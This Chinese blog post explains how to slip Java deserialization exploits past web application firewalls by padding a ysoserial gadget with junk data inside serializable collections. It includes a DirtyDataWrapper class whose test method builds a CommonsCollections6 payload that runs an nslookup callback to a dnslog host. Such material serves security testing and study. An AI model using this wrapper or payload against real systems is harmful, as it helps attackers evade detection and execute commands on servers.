51工具盒子Java反序列化脏数据绕WAF {#Java反序列化脏数据绕WAF}
平时我们遇到站点的时候偶尔能看到通过大量脏数据绕过waf，当然在java反序列化也可以，实现思路是需要找到一个class可以序列化，它可以把脏数据对象和gadget一起包裹起来，所以我们要找的class，第一需要实现java.io.Serializable接口，第二可以存储任意对象，我的第一想法是HashMap因为之前也考虑过，毕竟HashMap在取出key和value的时候，都会对对象进行反序列化
如下：
|-----------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 | HashMap<String, Object> stringObjectHashMap = new HashMap<String, Object>(); StringBuilder sb=new StringBuilder(); for(int i=0; i < 10000; i++) { sb.append("a"); } stringObjectHashMap.put(String.valueOf(sb),queue); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(stringObjectHashMap); oos.close(); |
当然后面看到了别人的文章，才发现自己还是考虑的比较少，其实集合类型就很容易符合
|---------------------|-------------------------------------------------------------------|
| 1 2 3 4 5 6 | ArrayList LinkedList HashMap LinkedHashMap TreeMap ...... |
并且最重要的是还能不断套娃，这里直接搬运网上代码写的很好了
|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 | public class DirtyDataWrapper { private int dirtyDataSize; //脏数据大小 private String dirtyData; //脏数据内容 private Object gadget; // ysoserila gadget对象 public DirtyDataWrapper(Object gadget, int dirtyDataSize){ this.gadget = gadget; this.dirtyDataSize = dirtyDataSize; } /** * 将脏数据和gadget对象存到集合对象中 * @return 一个包裹脏数据和gadget对象可序列化对象 */ public Object doWrap(){ Object wrapper = null; dirtyData = getLongString(dirtyDataSize); int type = (int)(Math.random() * 10) % 10 + 1; switch (type){ case 0: List<Object> arrayList = new ArrayList<Object>(); arrayList.add(dirtyData); arrayList.add(gadget); wrapper = arrayList; break; case 1: List<Object> linkedList = new LinkedList<Object>(); linkedList.add(dirtyData); linkedList.add(gadget); wrapper = linkedList; break; case 2: HashMap<String,Object> map = new HashMap<String, Object>(); map.put("a",dirtyData); map.put("b",gadget); wrapper = map; break; case 3: LinkedHashMap<String,Object> linkedHashMap = new LinkedHashMap<String,Object>(); linkedHashMap.put("a",dirtyData); linkedHashMap.put("b",gadget); wrapper = linkedHashMap; break; default: case 4: TreeMap<String,Object> treeMap = new TreeMap<String, Object>(); treeMap.put("a",dirtyData); treeMap.put("b",gadget); wrapper = treeMap; break; } return wrapper; } /** * 生产随机字符串 * @param length 随机字符串长度 * @return 随机字符串 */ public static String getLongString(int length){ String str = ""; for (int i=0;i<length;i++){ str += "x"; } return str; } // 测试 public static void main(String[] args) throws Exception{ Object cc6 = new CommonsCollections6().getObject("raw_cmd:nslookup xxx.dnslog.cn"); DirtyDataWrapper dirtyDataFactory = new DirtyDataWrapper(cc6,100); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("/tmp/cc6.ser")); objectOutputStream.writeObject(dirtyDataFactory.doWrap()); objectOutputStream.flush(); objectOutputStream.close(); } } |
当然其实不是所有的集合类都适合用于包裹脏数据和gadget，比如LinkedHashSet,HashSet，TreeSet等类就不适合，至于是为什么呢其实道理很简单，这些数据结构都是有序的，这样就会导致一个问题，如果刚好gadget被排列在前面，可能对于waf来说就可能因此检测到我们的一些恶意数据了
